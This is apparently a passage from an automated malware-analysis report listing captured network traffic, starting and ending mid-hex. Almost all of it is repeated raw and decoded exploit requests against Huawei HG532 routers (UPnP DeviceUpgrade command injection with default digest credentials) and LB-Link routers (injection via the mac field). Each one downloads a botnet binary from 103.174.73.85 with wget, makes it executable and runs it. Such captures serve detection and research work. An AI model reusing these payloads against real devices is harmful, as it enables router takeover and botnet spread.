73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 